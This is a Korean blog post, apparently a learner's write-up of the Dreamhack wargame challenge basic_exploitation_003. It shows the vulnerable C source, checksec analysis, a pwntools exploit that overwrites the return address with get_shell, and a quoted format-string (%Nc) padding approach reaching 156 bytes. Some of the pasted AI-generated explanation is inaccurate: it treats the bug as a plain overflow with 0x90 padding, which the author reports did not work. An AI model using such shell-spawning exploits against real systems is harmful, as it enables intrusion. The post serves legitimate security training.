Dreamhack/Dreamhack Wargame (Challenge)

[54] IT 비전공자 [dreamhack]basic_exploitation_003문제 풀기

imaginefuture-1 2024. 11. 2. 11:53

pwnable 반갑다. 버퍼 오버플로우겠군

주어진 정보를 바탕으로 Ubuntu 16.04에서 실행되는 32비트 바이너리의 보안 특성과 그 의미를 분석하겠습니다.

### 1. 시스템 정보

- **Ubuntu 16.04**:
  - 사용 중인 운영 체제의 버전입니다. 16.04는 오래된 버전으로, 최신 보안 업데이트가 적용되지 않을 수 있습니다.

### 2. 아키텍처 정보

- **Arch: i386-32-little**:
  - 이 바이너리는 32비트 아키텍처로 컴파일되었습니다. 
  - 32비트 아키텍처는 주소 공간이 4GB로 제한되며, 보안 공격에 대한 대응이 더 어려울 수 있습니다.

### 3. 보안 기능

- **RELRO: Partial RELRO**:
  - RELRO( Read-Only Relocations)는 동적 연결된 라이브러리 함수의 주소를 수정하는 것을 방지하기 위한 보안 기능입니다.
  - Partial RELRO는 일부 데이터 섹션을 읽기 전용으로 설정하지만, GOT( Global Offset Table)의 모든 항목이 보호되지 않으므로, 공격자가 GOT 항목을 수정할 수 있는 여지가 있습니다. 즉, 공격자가 특정 함수의 GOT 항목을 덮어쓰면 해당 함수를 임의로 호출할 수 있습니다.

- **Stack: No canary found**:
  - 스택 카나리(Stack Canary)는 스택 오버플로우 공격을 방지하기 위한 보안 기법입니다. 카나리는 스택 프레임에 배치되어, 반환 주소가 변경될 경우 프로그램이 종료되도록 합니다.
  - "No canary found"는 이 바이너리에 카나리가 없음을 의미하며, 이는 스택 오버플로우 공격이 더 쉽게 성공할 수 있다는 것을 의미합니다.

- **NX: NX enabled**:
  - NX(No eXecute) 비트가 활성화되어 있어 데이터 세그먼트에서 실행 가능한 코드를 막습니다. 즉, 스택이나 힙에서 직접 코드를 실행할 수 없습니다. 그러나 공격자는 여전히 ROP( Return Oriented Programming)과 같은 기법을 사용하여 코드 실행을 우회할 수 있습니다.

- **PIE: No PIE (0x8048000)**:
  - PIE(Position Independent Executable)가 비활성화되어 있습니다. 이 경우 바이너리는 항상 같은 주소에서 로드됩니다. 즉, 메모리 주소가 고정되어 있기 때문에 공격자가 함수의 메모리 주소를 쉽게 예측할 수 있습니다. 이는 GOT 덮어쓰기 공격 및 ROP 공격을 더 쉽게 만들 수 있습니다.

### 4. 잠재적 취약점

1. **Partial RELRO**:
   - GOT 항목이 완전히 보호되지 않기 때문에 공격자는 특정 함수를 임의로 호출할 수 있습니다. 예를 들어, 공격자는 `system` 함수의 GOT 항목을 덮어써서 임의의 명령어를 실행하도록 만들 수 있습니다.

2. **No Canary**:
   - 스택 카나리가 없기 때문에 스택 오버플로우를 통해 반환 주소를 쉽게 덮어쓸 수 있습니다. 이는 공격자가 프로그램의 흐름을 제어할 수 있게 합니다.

3. **NX 비트 활성화**:
   - NX가 활성화되어 있지만, 데이터 세그먼트에서 코드를 실행할 수 없는 것만으로는 완벽한 보호가 아닙니다. 공격자는 여전히 ROP 기법을 사용하여 기존의 코드 조각을 재사용하여 악성 행위를 수행할 수 있습니다.

4. **PIE 비활성화**:
   - PIE가 비활성화되어 있어 메모리 주소를 쉽게 예측할 수 있으므로, 공격자는 GOT 항목을 쉽게 조작하여 프로그램의 흐름을 변경할 수 있습니다.

### 결론

이 바이너리는 여러 가지 취약점이 존재하며, Partial RELRO와 스택 카나리의 부재는 공격자가 GOT를 조작하여 임의의 코드를 실행할 수 있는 기회를 제공합니다. NX 비트와 PIE의 비활성화는 공격자가 프로그램의 흐름을 더욱 쉽게 조작할 수 있는 조건을 제공합니다. 이러한 특성을 이해하면, 이 바이너리에 대한 보안 공격을 설계하는 데 큰 도움이 됩니다. 추가적인 질문이나 더 알고 싶은 사항이 있으면 말씀해 주세요!


 

소스코드다

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

 

주어진 C 코드를 분석하고 취약점을 찾아 익스플로잇을 통해 쉘을 얻는 방법을 설명하겠습니다. 코드는 사용자가 입력한 데이터를 받아서 이를 출력하는 형태로 작성되어 있습니다. 이 코드에서의 주요 취약점은 버퍼 오버플로우입니다.

### 코드 분석

1. **입력 및 메모리 할당**:
   ```c
   char *heap_buf = (char *)malloc(0x80);
   char stack_buf[0x90] = {};
   ```
   - `heap_buf`는 힙 메모리에 128바이트를 할당받습니다.
   - `stack_buf`는 스택에 144바이트의 버퍼를 선언합니다.

2. **초기화**:
   ```c
   initialize();
   ```
   - 입력 버퍼링을 비활성화하고, SIGALRM 신호에 대해 타임아웃 핸들러를 설정합니다. 타임아웃은 30초로 설정되어 있습니다.

3. **데이터 읽기 및 포맷**:
   ```c
   read(0, heap_buf, 0x80);
   sprintf(stack_buf, heap_buf);
   ```
   - 사용자의 입력을 `heap_buf`에 읽어오고, 이후 이 데이터를 `sprintf`를 사용하여 `stack_buf`에 저장합니다. 여기서 `sprintf`는 길이를 검증하지 않기 때문에 버퍼 오버플로우가 발생할 수 있습니다.

4. **쉘을 얻기 위한 함수**:
   ```c
   void get_shell() {
       system("/bin/sh");
   }
   ```
   - `get_shell` 함수는 `/bin/sh` 쉘을 실행합니다. 하지만 이 함수는 `main` 함수 내에서 호출되지 않으므로, 이를 호출할 수 있는 방법을 찾아야 합니다.

### 취약점

1. **버퍼 오버플로우**:
   - `sprintf`는 입력 데이터의 길이를 확인하지 않기 때문에 `heap_buf`의 내용이 `stack_buf`를 초과하여 메모리에 쓰일 수 있습니다. 이는 `stack_buf`의 반환 주소를 덮어쓸 수 있습니다.

2. **코드 실행 제어**:
   - 공격자는 `heap_buf`에 적절한 데이터를 작성하여 `stack_buf`의 끝에 있는 반환 주소를 덮어쓰고 `get_shell` 함수의 주소로 변경함으로써 프로그램이 종료될 때 쉘을 실행하도록 만들 수 있습니다.

### 익스플로잇 과정

1. **주소 계산**:
   - `get_shell` 함수의 주소를 찾고, 이 주소를 반환 주소로 설정해야 합니다.
   - GDB를 사용하여 `get_shell`의 주소를 찾을 수 있습니다:
   ```bash
   gdb ./binary
   (gdb) break get_shell
   (gdb) run
   ```

2. **패딩 및 입력 구성**:
   - `heap_buf`에 쓸 데이터는 다음과 같이 구성됩니다:
     - `0x90` 크기의 `stack_buf`를 덮어쓰고, 그 이후에 `get_shell`의 주소를 추가합니다.
     - 예를 들어, 만약 `get_shell`의 주소가 `0x080484b6`이라면, 입력은 다음과 같이 구성됩니다:
     ```python
     padding = b"A" * 0x90  # stack_buf 크기
     shell_addr = p32(0x080484b6)  # get_shell 주소
     payload = padding + shell_addr
     ```

3. **코드 작성 및 실행**:
   - 아래와 같이 익스플로잇 코드를 작성할 수 있습니다:

```python
from pwn import *

# 바이너리 실행
p = process('./your_binary_name')

# get_shell 주소를 GDB에서 확인 후 입력
get_shell_addr = 0x080484b6  # 예시 주소

# 익스플로잇 페이로드 생성
padding = b"A" * 0x90  # stack_buf를 덮어쓰는 패딩
payload = padding + p32(get_shell_addr)

# payload 전송
p.sendline(payload)

# 인터랙티브 쉘로 전환
p.interactive()
```

### 결론

이 코드에서는 버퍼 오버플로우를 이용하여 `get_shell` 함수를 호출함으로써 쉘을 획득하는 공격을 수행할 수 있습니다. 이 과정에서 정확한 메모리 주소와 페이로드 구성이 중요하며, GDB와 같은 디버깅 도구를 사용하여 주소를 확인하는 것이 필요합니다. 추가적인 질문이 있거나 도움이 필요하시면 말씀해 주세요!

 

 


 

get_shell 주소를 확인하러가보자

 

 

찾았다 0x08048669다
payload를 작성했다가 바이너리 파일 주소 오류나서 p = remote 로 변경했다
그랬더니 echo가 강렬한 A를 내뱉는다...이런..

https://bgm2020.tistory.com/14

 

[포너블] 드림핵(Dreamhack) basic_exploitation_003 문제 풀이 | FSB

해당 문제는 드림핵에 있는 '단계별로 도전하기' 파트의 문제입니다. https://dreamhack.io/wargame/challenges/5/

bgm2020.tistory.com

https://jhyuxxk.tistory.com/24

 

DreamHack 1단계 basic_exploitation_003

DreamHack 1단계 basic_exploitation_003 문제를 풀어보겠다. 위 그림에서 NX 보호 기법이 활성화 되어있음에 따라 쉘 코드가 실행되지 않다는 것을 알 수 있다. 또한, RELRO 가 Partial 로 되어있는 것으로 보

jhyuxxk.tistory.com

https://velog.io/@silvergun8291/Dreamhack-basicexploitation003

 

[Dreamhack] basic_exploitation_003

쉘을 띄워주는 get_shell() 함수가 있습니다.sprintf(stack_buf, heap_buf) 부분에서 포멧 스트링 버그가 발생합니다.heap_buf에 %\[n]c 를 넣으면 n 바이트 길이의 문자열이 stack_buf에 들어가는데, 만약 n이 stack_

velog.io

 

 

 


쉘을 띄워주는 get_shell() 함수가 있습니다.sprintf(stack_buf, heap_buf) 부분에서
포멧 스트링 버그가 발생합니다.
heap_buf에 %[n]c 를 넣으면 n 바이트 길이의 문자열이 stack_buf에 들어가는데,
만약 n이 stack_buf의 크기보다 크다면 버퍼 오버플로우가 발생할 수 있습니다.
⇾ 포멧 스트링 버그를 이용해서 heap_buf에 %[stack_buf~RET]c + get_shell을 넣고
sprintf() 함수를 이용해서 버퍼 오버플로우를 발생시켜서
RET 값을 get_shell 함수의 주소로 변조하면 될거 같습니다.

출처ㅣhttps://velog.io/@silvergun8291/Dreamhack-basicexploitation003

 


즉, heap_buf 에서 stack_buf 로 출력할 때, %1000c 가 저장되어 있다면, heap_buf 에는 "%1000c" 로 6 자리 문자열로 인식되지만, stack_buf 에는 1000 바이트가 입력된다.
 
이를 통해, RET 까지 %----c 로 채우고, RET 에 get_shell() 함수 주소를 입력하면 된다.
 
get_shell 함수 : system 명령어로 /bin/sh 의 주소를 출력한다.


stack_buf 의 주소가 ebp-0x98 
이를 통해, stack_buf 가 ebp 로부터 0x98 (152 바이트) 떨어져 있다는 것을 알 수 있다.


출처ㅣ https://jhyuxxk.tistory.com/24

 

 

지피티에게 스택 구조를 그림으로 달라했다. 

 

캬..지피티는 신인가?

 

 

위 이미지는 제공된 코드의 스택 구조를 시각적으로 나타낸 것입니다. 각 요소는 다음과 같은 순서로 스택에 배치되어 있습니다:

  1. stack_buf (0x90): 144바이트 크기의 버퍼로, 사용자의 입력이 저장됩니다.
  2. SFP (Saved Frame Pointer): 이전 프레임의 포인터를 저장하는 4바이트.
  3. RET (Return Address): 함수가 종료될 때 돌아갈 주소를 저장하는 4바이트.

이 구조를 통해, 스택 버퍼 오버플로우 공격을 통해 RET 주소를 조작하여 get_shell 함수를 호출할 수 있는 방법을 이해할 수 있습니다. 추가 질문이나 도움이 필요하시면 언제든지 말씀해 주세요! ​

 

 

 

152 + 4 바이트를 하여 156 바이트 만큼 채

워 RET 부분에 get_shell() 함수의 주소를 넣어준다.

 

 

 

반갑다!!